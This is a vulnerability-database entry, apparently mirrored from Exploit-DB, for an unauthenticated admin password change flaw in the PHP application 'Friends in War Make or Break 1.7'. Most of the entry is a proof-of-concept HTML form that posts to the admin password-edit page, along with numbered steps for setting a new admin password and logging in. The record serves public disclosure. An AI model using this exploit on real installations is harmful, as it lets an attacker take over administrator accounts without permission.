Friends in War Make or Break 1.7 - Cross-Site Request Forgery (Change Admin Password)

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1068545 漏洞类型
发布时间 2017-07-26 更新时间 2017-07-26
CVE编号 N/A CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/42383
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
Friends in War Make or Break 1.7 - Unauthenticated admin password change

Url: http://software.friendsinwar.com/
     http://software.friendsinwar.com/downloads.php?cat_id=2&file_id=9

Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://www.shinnai.altervista.org/
---------------------------------------------------------------------

PROOF OF CONCEPT:
<form method="post" action="http://localhost/mob/admin/pass_edit.php?username=1">
	<label>1) Choose a new password<br>2) Click on "Submit"<br>3) Login using "admin" and your new password<br><br></label>
	<input type="text" name="password" value="ChangeMe">
	<input type="text" name="submit" value="Edit+Password" hidden=true>
	<input type="submit" value="Submit">
</form>